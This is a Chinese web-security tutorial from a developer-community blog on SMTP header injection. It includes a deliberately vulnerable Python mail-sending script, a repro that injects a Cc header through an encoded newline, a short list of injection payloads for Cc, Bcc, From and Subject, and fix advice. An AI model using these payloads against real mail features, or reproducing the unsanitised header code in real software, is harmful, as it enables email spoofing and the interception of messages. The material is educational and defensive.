前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【WEB安全】SMTP注入

【WEB安全】SMTP注入

原创
作者头像
用户1709153
发布2023-06-06 21:24:33
4761
发布2023-06-06 21:24:33
举报
文章被收录于专栏:杂学杂学

blocks|key|de7d7|type|unstyled|text|## 漏洞介绍

SMTP是用于发送和传递电子邮件的协议,定义了邮件的传输方式和交流规则。

SMTP注入是指可通过添加/控制**邮件头**的方式,篡改邮件的发送者、抄送、密送等字段,从而达到**欺骗、窃取邮件信息或劫持邮件传递**的目的。

既然归属到注入类,说明也是对用户输入未严格过滤,从而达到非预期的结果。

邮件头介绍

常见邮件头代表的含义如下:

%7C 邮件头字段 %7C 含义 %7C

%7C ------------------- %7C ---------------------------- %7C

%7C From %7C 邮件的发送者 %7C

%7C To %7C 邮件的主要接收者 %7C

%7C Cc %7C 邮件的抄送接收者 %7C

%7C Bcc %7C 邮件的密送接收者 %7C

%7C Subject %7C 邮件的主题或标题 %7C

%7C Body %7C 邮件的正文内容 %7C

%7C Date %7C 邮件的发送时间 %7C

%7C Reply-To %7C 回复邮件时使用的地址 %7C

%7C Importance %7C 邮件的重要性级别 %7C

%7C MIME-Version %7C 邮件的MIME版本 %7C

%7C Content-Type %7C 邮件正文内容的类型及编码方式 %7C

%7C Content-Disposition %7C 邮件附件的处理方式 %7C

%7C Message-ID %7C 邮件的唯一标识符 %7C

%7C In-Reply-To %7C 针对哪封邮件进行回复的标识符 %7C

%7C References %7C 相关邮件的标识符列表 %7C

%7C Return-Path %7C 邮件的退回地址 %7C

%7C X-Priority %7C 邮件的优先级 %7C

为了尽可能的获取实用的邮件头,使用抄送+密送的方式发一封邮件,查看原文,就可以看到发送的实际内容。

header
header

漏洞复现

漏洞环境

假设存在一个注册功能点,我们输入邮箱后,网站给我们发送激活链接进行注册。

其中,发送邮件使用的代码为:

代码语言:python
复制
import base64
import smtplib
from urllib.parse import unquote
from email.header import Header
from email.message import Message

def send\_email(from\_addr, to\_addr, subject, mail\_text, smtp\_host, smtp\_port, smtp\_username, smtp\_password):
    email\_string = f"""MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
From: {from\_addr}
To: {to\_addr}
Subject: =?utf-8?b?{base64.b64encode(subject.encode()).decode()}?=

{base64.b64encode(mail\_text.encode()).decode()}
    """
    print(f"\n{email\_string}\n")
    try:
        smtp\_obj = smtplib.SMTP\_SSL(smtp\_host, smtp\_port)
        smtp\_obj.login(smtp\_username, smtp\_password)
        smtp\_obj.sendmail(from\_addr, to\_addr, email\_string)
        smtp\_obj.quit()
        print('邮件发送成功')
    except smtplib.SMTPException as e:
        print('邮件发送失败:', str(e))

if \_\_name\_\_ == '\_\_main\_\_':
    # to\_addr = 'ntoouuzovrlfy@baybabes.com'
    to\_addr = input("收件箱地址: ")
    to\_addr = unquote(to\_addr)
    # 使用示例
    from\_addr = 'xxx@163.com'
    subject = '注册邀请'
    mail\_text = '您的注册地址为:xxxxx'
    smtp\_host = 'smtp.163.com'
    smtp\_port = 465
    smtp\_username = 'username'
    smtp\_password = 'password'

    send\_email(from\_addr, to\_addr, subject, mail\_text, smtp\_host, smtp\_port, smtp\_username, smtp\_password)

正常发送结果如下:

normal
normal

复现过程

上方代码可见to\_addr为收件人可控,我们将其输入为ntoouuzovrlfy@baybabes.com%0aCc: rocaced977@soremap.com并发送

insecure
insecure

可见成功注入了SMTP邮件头Cc(抄送),此时注入的恶意邮箱rocaced977@soremap.com也将收到和ntoouuzovrlfy@baybabes.com一样的邮件。

漏洞常见点

所有和发送邮件有关的功能点都可以进行尝试,如邮箱注册、邮箱找回密码等...

**常见payload:**

就是通过各种方式注入SMTP header头中。

代码语言:txt
复制
rec@domain.com%0ACc:recipient@domain.com%0ABcc:recipient1@domain.com
admin@domain.com%0AFrom:eval@domain.com
From:sender@domain.com%0ATo:attacker@domain.com
From:sender@domain.com%0ASubject:This???s%20Fake%20Subject

修复建议

  1. 输入过滤,可以使用正则表达式^[\w\.-]+@[\w\.-]+\.\w+$来过滤用用户提交的邮箱。
  2. 使用安全的组件和库,如Python的smtplib、Java的javax.mail、PHP的PHPMailer等,尽可能的通过模块内置的一些函数来设定SMTP header头。|depth|inlineStyleRanges|entityRanges|entityMap|data|mutability^0^^$0|@$1|2|3|4|5|6|7|D|8|@]|9|@]]]|A|$B|-4|C|-4|3|-4]]

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 邮件头介绍
  • 漏洞复现
    • 漏洞环境
      • 复现过程
      • 漏洞常见点
      • 修复建议
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
      http://www.vxiaotou.com